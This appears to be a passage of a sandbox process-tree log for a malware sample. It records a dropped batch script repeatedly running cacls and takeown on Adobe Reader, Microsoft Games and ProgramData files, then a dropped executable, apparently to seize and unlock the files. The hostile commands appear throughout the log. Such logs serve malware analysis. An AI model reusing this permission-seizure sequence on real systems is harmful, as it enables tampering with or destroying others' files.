C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "FreeCellMCE.png" -nobanner4⤵PID:208
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1816
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png""2⤵PID:1860
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png" /E /G Admin:F /C3⤵PID:1396
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Hearts\HeartsMCE.png"3⤵PID:564
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "HeartsMCE.png" -nobanner3⤵PID:2028
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "HeartsMCE.png" -nobanner4⤵PID:224
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:296
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe""2⤵PID:1592
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe" /E /G Admin:F /C3⤵PID:2024
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\LogTransport2.exe"3⤵
- Modifies file permissions
PID:1136
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "LogTransport2.exe" -nobanner3⤵PID:1048
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "LogTransport2.exe" -nobanner4⤵PID:1352
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1988
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif""2⤵PID:1508
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif" /E /G Admin:F /C3⤵PID:1096
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_distributed.gif"3⤵PID:1780
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "forms_distributed.gif" -nobanner3⤵PID:216
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "forms_distributed.gif" -nobanner4⤵PID:896
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1520
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif""2⤵PID:1200
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif" /E /G Admin:F /C3⤵PID:1528
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\reviews_sent.gif"3⤵PID:1112
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "reviews_sent.gif" -nobanner3⤵PID:1512
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "reviews_sent.gif" -nobanner4⤵PID:1148
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1292
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif""2⤵PID:1456
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif" /E /G Admin:F /C3⤵PID:1764
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\stop_collection_data.gif"3⤵
- Modifies file permissions
PID:568
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "stop_collection_data.gif" -nobanner3⤵PID:224
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "stop_collection_data.gif" -nobanner4⤵PID:2028
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:296
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm""2⤵PID:1860
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm" /E /G Admin:F /C3⤵PID:2024
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\ReadMe.htm"3⤵
- Modifies file permissions
PID:112
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "ReadMe.htm" -nobanner3⤵PID:1992
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "ReadMe.htm" -nobanner4⤵PID:1352
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:212
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf""2⤵PID:1104
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf" /E /G Admin:F /C3⤵PID:2000
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MinionPro-It.otf"3⤵PID:1052
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "MinionPro-It.otf" -nobanner3⤵PID:1516
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "MinionPro-It.otf" -nobanner4⤵PID:896
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:540
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB""2⤵PID:2004
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB" /E /G Admin:F /C3⤵PID:204
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\ZX______.PFB"3⤵PID:208
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "ZX______.PFB" -nobanner3⤵PID:1816
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "ZX______.PFB" -nobanner4⤵PID:1148
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1536
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp""2⤵PID:1448
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp" /E /G Admin:F /C3⤵PID:564
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt04.hsp"3⤵PID:1068
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "brt04.hsp" -nobanner3⤵PID:220
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2012
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env""2⤵PID:1396
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env" /E /G Admin:F /C3⤵PID:684
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\engphon.env"3⤵PID:1136
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "engphon.env" -nobanner3⤵PID:1048
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "engphon.env" -nobanner4⤵PID:1352
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1988
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT""2⤵PID:1768
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT" /E /G Admin:F /C3⤵PID:1096
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CORPCHAR.TXT"3⤵PID:1780
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "CORPCHAR.TXT" -nobanner3⤵PID:216
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "CORPCHAR.TXT" -nobanner4⤵PID:896
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1520
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT""2⤵PID:1280
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT" /E /G Admin:F /C3⤵PID:1528
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT"3⤵PID:1112
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "CP1250.TXT" -nobanner3⤵PID:1512
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "CP1250.TXT" -nobanner4⤵PID:1148
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1292
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif""2⤵PID:1000
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif" /E /G Admin:F /C3⤵PID:996
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\bl.gif"3⤵PID:1068
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "bl.gif" -nobanner3⤵PID:236
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "bl.gif" -nobanner4⤵PID:1544
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1756
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif""2⤵PID:1460
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif"3⤵
- Modifies file permissions
PID:1136
-
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\forms_super.gif" /E /G Admin:F /C3⤵PID:2024
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "forms_super.gif" -nobanner3⤵PID:1048
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "forms_super.gif" -nobanner4⤵PID:1320
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1268
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif""2⤵PID:1456
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif" /E /G Admin:F /C3⤵PID:1780
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_browser.gif"3⤵
- Modifies file permissions
PID:896
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "review_browser.gif" -nobanner3⤵PID:216
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "review_browser.gif" -nobanner4⤵PID:1348
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1684
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif""2⤵PID:1860
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif" /E /G Admin:F /C3⤵PID:1112
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\tl.gif"3⤵PID:1148
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "tl.gif" -nobanner3⤵PID:1512
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "tl.gif" -nobanner4⤵PID:1252
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:832
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V""2⤵PID:1592
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V" /E /G Admin:F /C3⤵PID:224
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-V"3⤵PID:220
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "Identity-V" -nobanner3⤵PID:236
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "Identity-V" -nobanner4⤵PID:2012
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2004
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf""2⤵PID:1772
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf" /E /G Admin:F /C3⤵PID:1136
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-Bold.otf"3⤵PID:1320
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "MyriadPro-Bold.otf" -nobanner3⤵PID:1048
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "MyriadPro-Bold.otf" -nobanner4⤵PID:1396
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1500
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe""2⤵PID:1248
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe" /E /G Admin:F /C3⤵PID:896
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Icons\SC_Reader.exe"3⤵PID:1348
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "SC_Reader.exe" -nobanner3⤵PID:216
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "SC_Reader.exe" -nobanner4⤵PID:1768
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1964
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths""2⤵PID:2000
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths" /E /G Admin:F /C3⤵PID:1148
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\brt55.ths"3⤵PID:1252
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "brt55.ths" -nobanner3⤵PID:1512
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "brt55.ths" -nobanner4⤵PID:1280
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:920
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp""2⤵PID:204
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp" /E /G Admin:F /C3⤵PID:1544
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Linguistics\Providers\Proximity\11.00\usa03.hsp"3⤵
- Modifies file permissions
PID:1756
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "usa03.hsp" -nobanner3⤵PID:1376
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "usa03.hsp" -nobanner4⤵PID:1764
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:996
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT""2⤵PID:1592
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT" /E /G Admin:F /C3⤵PID:212
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\CYRILLIC.TXT"3⤵PID:1268
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "CYRILLIC.TXT" -nobanner3⤵PID:1784
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "CYRILLIC.TXT" -nobanner4⤵PID:1460
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:2024
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT""2⤵PID:1992
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT" /E /G Admin:F /C3⤵PID:540
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT"3⤵PID:1684
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "CP1252.TXT" -nobanner3⤵PID:228
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "CP1252.TXT" -nobanner4⤵PID:1052
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:960
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png""2⤵PID:1780
-
C:\Windows\SysWOW64\cacls.execacls "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png" /E /G Admin:F /C3⤵PID:1536
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Program Files\Microsoft Games\Mahjong\MahjongMCE.png"3⤵
- Modifies file permissions
PID:1280
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "MahjongMCE.png" -nobanner3⤵PID:1860
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "MahjongMCE.png" -nobanner4⤵PID:1112
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:592
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml""2⤵PID:1264
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml" /E /G Admin:F /C3⤵PID:1000
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml"3⤵PID:1376
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "resource.xml" -nobanner3⤵PID:564
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "resource.xml" -nobanner4⤵PID:2028
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:224
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml""2⤵PID:2032
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml" /E /G Admin:F /C3⤵PID:1448
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\fr-FR\resource.xml"3⤵PID:1784
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "resource.xml" -nobanner3⤵PID:1200
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "resource.xml" -nobanner4⤵PID:1404
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1136
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata""2⤵PID:1096
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata" /E /G Admin:F /C3⤵PID:1456
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Adobe\Acrobat\9.0\Replicate\Security\directories.acrodata"3⤵PID:228
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "directories.acrodata" -nobanner3⤵PID:960
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula "directories.acrodata" -nobanner4⤵PID:112
-
-
-
C:\Users\Admin\AppData\Local\Temp\r0B5wIrd.exer0B5wIrd.exe -accepteula -c Run -y -p extract -nobanner3⤵PID:1516
-
-
-
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\1ED9zjES.bat" "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml""2⤵PID:832
-
C:\Windows\SysWOW64\cacls.execacls "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml" /E /G Admin:F /C3⤵PID:1596
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\behavior.xml"3⤵
- Modifies file permissions
PID:1860
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c r0B5wIrd.exe -accepteula "behavior.xml" -nobanner3⤵PID:972
-
